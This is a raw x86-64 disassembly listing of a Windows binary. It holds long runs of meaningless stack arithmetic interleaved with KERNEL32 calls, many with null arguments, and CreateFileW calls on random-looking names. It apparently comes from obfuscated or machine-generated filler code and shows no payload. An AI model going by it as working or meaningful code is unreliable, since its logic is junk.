movsx ecx, byte [rsp + 0x35a]
add eax, ecx
mov byte [rsp + 0x6a], al
mov eax, dword [0x14022b878]
mov ecx, dword [rsp + 0x484c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e04], eax
mov rax, qword [rsp + 0xa1a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bc0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9988]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9bd0]
movzx eax, word [rax]
mov word [rsp + 0x1d5c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
lea rax, [rsp + 0x1b14]
mov qword [0x14022ba08], rax
mov rax, qword [rsp + 0x9828]
movzx ecx, al
mov rax, qword [rsp + 0x9c28]
sar rax, cl
mov qword [rsp + 0xa200], rax
mov r9d, 0x18f6
xor r8d, r8d
lea rdx, [rsp + 0xa088]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4648], eax
lea rax, [rsp + 0x7fd8]
mov qword [rsp + 0xa560], rax
mov rax, qword [0x140229f90]
mov rcx, qword [rsp + 0x7e78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9db0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1c90]
movsx ecx, word [rsp + 0x1ca0]
add eax, ecx
mov word [rsp + 0x7b8], ax
mov rax, qword [rsp + 0xa2a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9730]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8050], rax
mov rax, qword [rsp + 0x9cc0]
mov rcx, qword [rsp + 0x97e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa028]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa288]
movzx eax, byte [rax]
mov byte [rsp + 0x36e], al
mov rax, qword [rsp + 0xa160]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9bb0]
mov qword [rsp + 0xa568], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa568]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4674], eax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa3a8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x347], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x9f50]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa558]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14022b8a0]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xf32a
mov rcx, qword [rsp + 0x9e50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47d8], eax
mov rcx, qword [rsp + 0xa088]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x1d08]
mov rcx, qword [0x14022b998]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c18], ax
mov rax, qword [rsp + 0x9e08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d18]
add eax, ecx
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x9c80]
mov qword [rsp + 0xa570], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.ZsbbaUbPmeWN7LsgKNGsf24ZAyzdvLiAF8ABp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa578], rax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [0x14022b808]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b08], rax
lea rax, [rsp + 0x41b0]
mov qword [rsp + 0xa580], rax
movsx eax, byte [rsp + 0x277]
movsx ecx, byte [rsp + 0xa0]
sub eax, ecx
mov byte [rsp + 0x129], al
movsx eax, word [0x14022b9b8]
movsx ecx, word [rsp + 0x16dc]
add eax, ecx
mov rcx, qword [rsp + 0x9f90]
mov word [rcx], ax
lea rax, [rsp + 0x1ca4]
mov qword [rsp + 0xa588], rax
lea rax, [rsp + 0xa260]
mov qword [0x14022ba10], rax
mov rax, qword [rsp + 0x99f8]
movzx eax, word [rax]
movzx ecx, word [0x14022b850]
sar eax, cl
mov rcx, qword [rsp + 0x9da0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a80]
mov qword [rsp + 0xa590], rax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0x7898]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa028]
mov rcx, qword [0x14022b950]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4278], eax
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x34e]
mov qword [rsp + 0xa598], rax
mov rax, qword [rsp + 0xa258]
mov ecx, dword [rsp + 0x3db8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x39b0], eax
movzx eax, byte [rsp + 0x36a]
movzx ecx, byte [rsp + 0x2a0]
shl eax, cl
mov byte [rsp + 0x307], al
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0xa2a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9a00], rax
movsx eax, word [rsp + 0x1d20]
movsx ecx, word [0x14022b988]
sub eax, ecx
mov word [0x140229f34], ax
movsx eax, word [rsp + 0x1d14]
movsx ecx, word [rsp + 0x17d8]
sar eax, cl
mov rcx, qword [rsp + 0xa398]
mov word [rcx], ax
movzx eax, word [rsp + 0x1c7c]
mov word [rsp + 0x1d60], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
lea rdx, [rsp + 0x4868]
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4728], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xf75f
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4708], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xa420]
movzx eax, word [rax]
mov rcx, qword [0x14022b9b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d10], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.qduziIngrwXJz13WW
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa5a0], rax
lea rax, [rsp + 0x72a0]
mov qword [rsp + 0xa5a8], rax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x364]
sub eax, ecx
mov rcx, qword [rsp + 0x9ea8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa190]
mov ecx, dword [rsp + 0x4834]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa028]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1c84]
movsx ecx, word [rsp + 0x1518]
and eax, ecx
mov word [rsp + 0x1bbc], ax
lea rdx, [rsp + 0x4790]
mov rcx, qword [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47f0], eax
mov r9d, 0xea3
xor r8d, r8d
lea rdx, [rsp + 0xa380]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x486c], eax
mov rax, qword [rsp + 0xa000]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1848]
and eax, ecx
mov word [rsp + 0x1cc8], ax
mov rax, qword [rsp + 0x7e78]
mov qword [0x14022ba18], rax
mov rax, qword [rsp + 0xa590]
mov qword [rsp + 0xa5b0], rax
mov rax, qword [rsp + 0xa3f0]
mov rcx, qword [rsp + 0xa448]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9db8]
mov qword [rcx], rax
lea rax, [rsp + 0x9ca8]
mov qword [rsp + 0xa5b8], rax
movzx eax, word [rsp + 0x1cc8]
mov rcx, qword [rsp + 0xa420]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c8c], ax
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46ac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3db8], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4cce
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x464c], eax
movzx eax, byte [0x140229f1d]
mov byte [rsp + 0x36f], al
movsx eax, byte [rsp + 0x34f]
movsx ecx, byte [rsp + 0x343]
xor eax, ecx
mov byte [rsp + 0x346], al
mov rax, qword [rsp + 0x9988]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa130]
mov qword [rsp + 0xa5c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa5c0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8220], rax
mov eax, dword [rsp + 0x479c]
mov ecx, dword [0x140229f80]
sub ecx, eax
mov eax, ecx
mov dword [0x14022b878], eax
movsx eax, word [rsp + 0xa08]
mov rcx, qword [rsp + 0xa1d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa528]
mov word [rcx], ax
movsx eax, word [rsp + 0x16dc]
movsx ecx, word [rsp + 0x1cb8]
add eax, ecx
mov word [rsp + 0x1d14], ax
lea rax, [rsp + 0x1d00]
mov qword [rsp + 0xa5c8], rax
mov rcx, qword [rsp + 0x9d88]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9cf0]
movzx ecx, al
mov rax, qword [rsp + 0x7fd8]
sar rax, cl
mov qword [rsp + 0x9420], rax
mov rax, qword [0x14022b818]
mov rax, qword [rax]
mov qword [rsp + 0xa5d0], rax
mov eax, dword [rsp + 0x4754]
imul eax, dword [rsp + 0x4614]
mov rcx, qword [rsp + 0x9990]
mov dword [rcx], eax
lea rdx, [rsp + 0x47dc]
mov rcx, qword [rsp + 0xa2c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4870], eax
movsx eax, byte [rsp + 0x368]
cdq
mov ecx, 0x3a
idiv ecx
mov byte [rsp + 0x35c], al
movsx eax, word [rsp + 0x1d40]
mov rcx, qword [rsp + 0xa1a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10b4], ax
movzx eax, word [rsp + 0x1b14]
movzx ecx, word [rsp + 0x1cb0]
sub eax, ecx
mov word [0x140229f9c], ax
mov r9d, 0x21dd
xor r8d, r8d
lea rdx, [rsp + 0x9948]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x45e4], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6538
mov rcx, qword [rsp + 0xa138]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4874], eax
mov rax, qword [0x14022b838]
mov rcx, qword [rsp + 0xa260]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5b0], rax
mov rax, qword [rsp + 0x9e08]
movzx eax, word [rax]
mov word [rsp + 0x1d64], ax
mov rax, qword [rsp + 0x9bb0]
mov ecx, dword [rsp + 0x47c0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3a34], eax
mov rcx, qword [rsp + 0x9860]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x362]
mov qword [rsp + 0xa5d8], rax
mov rax, qword [rsp + 0x9c08]
mov rcx, qword [rsp + 0xa2a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8d58], rax
lea rcx, [rsp + 0x9690]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 0x16bd
xor r8d, r8d
lea rdx, [rsp + 0x9d88]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4878], eax
mov rax, qword [rsp + 0xa3a0]
mov ecx, dword [rsp + 0x4764]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x473c], eax
movzx eax, byte [rsp + 0x1bb]
mov byte [rsp + 0x370], al
mov rax, qword [rsp + 0x9b80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d3c]
or eax, ecx
mov rcx, qword [rsp + 0xa460]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
movzx eax, word [rsp + 0x1a7c]
movzx ecx, word [rsp + 0x1d00]
xor eax, ecx
mov word [0x14022b930], ax
lea rcx, [rsp + 0x9690]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9cf0]
mov rcx, qword [0x14022b888]
mov qword [rsp + 0xa5e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa5e0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6f78], rax
mov rax, qword [rsp + 0x9ed8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa260]
sar rax, cl
mov qword [rsp + 0x9660], rax
mov rcx, qword [rsp + 0x9948]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa2d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa460]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa08], ax
lea rax, [rsp + 0x1c8c]
mov qword [rsp + 0xa5e8], rax
mov rax, qword [rsp + 0xa190]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x477c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4780], eax
lea rax, [rsp + 0x9150]
mov qword [rsp + 0xa5f0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xf990
mov rcx, qword [rsp + 0xa248]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x487c], eax
mov rax, qword [0x14022b928]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x357]
add eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8668]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa290]
mov qword [rcx], rax
mov rax, qword [0x14022b8a0]
movzx eax, word [rax]
mov word [0x14022ba20], ax
movzx eax, word [rsp + 0x1d44]
mov word [rsp + 0x1d68], ax
mov rax, qword [rsp + 0x9c88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4748]
sar eax, cl
mov rcx, qword [rsp + 0x9be0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x147]
movzx ecx, byte [rsp + 0x36a]
and eax, ecx
mov byte [rsp + 0x28e], al
mov rax, qword [rsp + 0x9d68]
mov rcx, qword [rsp + 0xa4a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xeb]
sub eax, ecx
mov rcx, qword [rsp + 0xa288]
mov byte [rcx], al
mov rax, qword [rsp + 0xa2a8]
mov rax, qword [rax]
mov qword [rsp + 0xa5f8], rax
mov rax, qword [rsp + 0x9c40]
mov rcx, qword [rsp + 0x98e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9990]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1c88]
mov word [rsp + 0x1d6c], ax
lea rcx, [rsp + 0x9cb8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9f98]
movzx eax, word [rax]
mov rcx, qword [0x14022b9a0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14022ba00]
mov word [rcx], ax
mov rax, qword [rsp + 0xa4a8]
mov rcx, qword [rsp + 0xa560]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa4b8]
mov qword [rcx], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
movzx eax, word [rsp + 0x15f8]
movzx ecx, word [rsp + 0x1d24]
xor eax, ecx
mov word [rsp + 0x1aec], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xc568
mov rcx, qword [rsp + 0xa530]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4878], eax
mov rax, qword [rsp + 0xa030]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d34]
sar eax, cl
mov rcx, qword [rsp + 0x9b80]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d80]
mov rcx, qword [rsp + 0x9780]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c28], rax
movzx eax, byte [rsp + 0x35e]
mov byte [rsp + 0x371], al
mov eax, dword [rsp + 0x475c]
mov ecx, dword [rsp + 0x4230]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x47e4], eax
lea rax, [rsp + 0x9c50]
mov qword [rsp + 0xa600], rax
movzx eax, word [rsp + 0x19bc]
movzx ecx, word [0x140229f28]
and eax, ecx
mov rcx, qword [rsp + 0xa5c8]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa608], rax
mov rax, qword [rsp + 0x9eb0]
mov rcx, qword [rsp + 0x9d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x140229fa0], rax
mov rax, qword [rsp + 0x9b38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9bb0]
mov qword [rsp + 0xa610], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa610]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa2c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9e10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa3a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x33e], al
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10b4]
and eax, ecx
mov word [rsp + 0x1c98], ax
movzx eax, word [rsp + 0x1a94]
mov word [rsp + 0x1d70], ax
mov rax, qword [rsp + 0x9b20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x350]
or eax, ecx
mov rcx, qword [rsp + 0xa288]
mov byte [rcx], al
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa508]
shl rax, cl
mov qword [rsp + 0xa070], rax
lea rcx, [rsp + 0xa2b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x3d60]
mov qword [rsp + 0xa618], rax
mov rax, qword [rsp + 0xa1d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10c0]
xor eax, ecx
mov word [rsp + 0x1c94], ax
mov rax, qword [rsp + 0xa458]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa420]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140229f28], ax
lea rax, [rsp + 0x8f08]
mov qword [rsp + 0xa620], rax
mov rax, qword [rsp + 0xa1e0]
mov rcx, qword [rsp + 0x7f68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa078], rax
mov rax, qword [rsp + 0x7f10]
mov rcx, qword [rsp + 0x9bd8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa560]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
lea rax, [rsp + 0x1ce8]
mov qword [rsp + 0xa628], rax
mov rax, qword [rsp + 0xa208]
mov rcx, qword [rsp + 0xa5d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7dd0], rax
mov rax, qword [rsp + 0x9e28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ee8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0x98b0]
mov ecx, dword [rsp + 0x484c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x480c], eax
lea rax, [rsp + 0x6e]
mov qword [rsp + 0xa630], rax
mov rax, qword [rsp + 0xa550]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x460c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa258]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x44c7
mov rcx, qword [rsp + 0xa370]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45ec], eax
mov rax, qword [rsp + 0x9c18]
movzx eax, word [rax]
mov word [0x14022ba24], ax
movzx eax, word [rsp + 0x1cc4]
mov rcx, qword [rsp + 0xa330]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x9e08]
movzx eax, word [rax]
mov word [rsp + 0x1d74], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9898]
mov rcx, qword [rsp + 0x9c80]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x82e8], rax
lea rcx, [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa5f8]
mov qword [rsp + 0xa638], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0xa618]
mov rcx, qword [rsp + 0x9f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9c40]
mov dword [rcx], eax
mov rax, qword [0x14022b9d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x34c]
and eax, ecx
mov byte [rsp + 0x5c], al
mov rax, qword [rsp + 0x9c00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f00]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1268], ax
movzx eax, word [rsp + 0x14e4]
movzx ecx, word [rsp + 0x1d4c]
shl eax, cl
mov rcx, qword [rsp + 0xa198]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f78]
mov rcx, qword [rsp + 0x9c28]
mov rax, qword [rax]
or rax, rcx
mov qword [0x140229fa0], rax
mov rax, qword [rsp + 0x9e90]
movzx eax, word [rax]
mov word [rsp + 0x1d78], ax
lea rcx, [rsp + 0x9690]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [0x14022b840]
mov rcx, qword [rsp + 0xa078]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa590], rax
mov rax, qword [rsp + 0xa360]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa570]
sar rax, cl
mov qword [rsp + 0x8668], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.pdmhZdQBQDgbJJFLfzlYT9U
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa640], rax
lea rax, [rsp + 0x9d98]
mov qword [rsp + 0xa648], rax
mov rax, qword [rsp + 0x9d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ff4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x447c], eax
lea rax, [rsp + 0x4788]
mov qword [rsp + 0xa650], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3767
mov rcx, qword [rsp + 0xa0e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47b0], eax
movzx eax, byte [rsp + 0x331]
mov rcx, qword [rsp + 0x9f08]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9b18]
mov byte [rcx], al
movsx eax, byte [0x14022b811]
movsx ecx, byte [rsp + 0x343]
sub eax, ecx
mov byte [rsp + 0xd1], al
lea rax, [rsp + 0x1c9c]
mov qword [0x14022ba28], rax
lea rdx, [rsp + 0x487c]
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4880], eax
mov r9d, 0x832
xor r8d, r8d
lea rdx, [rsp + 0x9f38]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47f4], eax
mov rax, qword [rsp + 0xa510]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c90], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movzx eax, word [rsp + 0x1d00]
mov rcx, qword [rsp + 0x9e40]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9d10]
mov word [rcx], ax
movzx eax, word [rsp + 0x1cac]
mov word [rsp + 0x1d7c], ax
mov rax, qword [rsp + 0x7420]
movzx ecx, al
mov rax, qword [rsp + 0x9b08]
shr rax, cl
mov qword [rsp + 0x9b98], rax
mov rax, qword [rsp + 0x9c98]
movzx eax, byte [rax]
mov byte [rsp + 0x372], al
mov rax, qword [rsp + 0x9c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4230]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x47ac], eax
mov rax, qword [rsp + 0x9ee0]
movsx eax, word [rax]
movsx ecx, word [0x14022b8d4]
xor eax, ecx
mov word [rsp + 0x1c78], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.aEY72q5lSI99zCyN1eTooOHvbs
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa658], rax
movzx eax, word [rsp + 0x1d48]
mov rcx, qword [rsp + 0xa468]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x178c], ax
mov rax, qword [rsp + 0x9db8]
mov rcx, qword [rsp + 0x8a18]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14022ba18], rax
mov r9d, 0x5a1
xor r8d, r8d
lea rdx, [rsp + 0x9f28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4694], eax
mov rax, qword [0x14022ba10]
mov rcx, qword [rsp + 0xa570]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8d50], rax
lea rdx, [rsp + 0x4884]
mov rcx, qword [rsp + 0x9ea0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4738], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x9b90]
mov rax, qword [rax]
mov qword [rsp + 0xa660], rax
lea rdx, [rsp + 0x4808]
mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4664], eax
mov rax, qword [rsp + 0xa418]
mov rcx, qword [rsp + 0x9ba0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9d68]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa0c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d10]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1a7c], ax
mov rax, qword [rsp + 0x9c88]
mov rcx, qword [rsp + 0x99c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41b4], eax
mov rax, qword [rsp + 0xa5d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0xa070]
mov qword [rsp + 0xa668], rax
lea rcx, [rsp + 0xa670]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rdx, [rsp + 0x45e4]
mov rcx, qword [rsp + 0xa2c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4714], eax
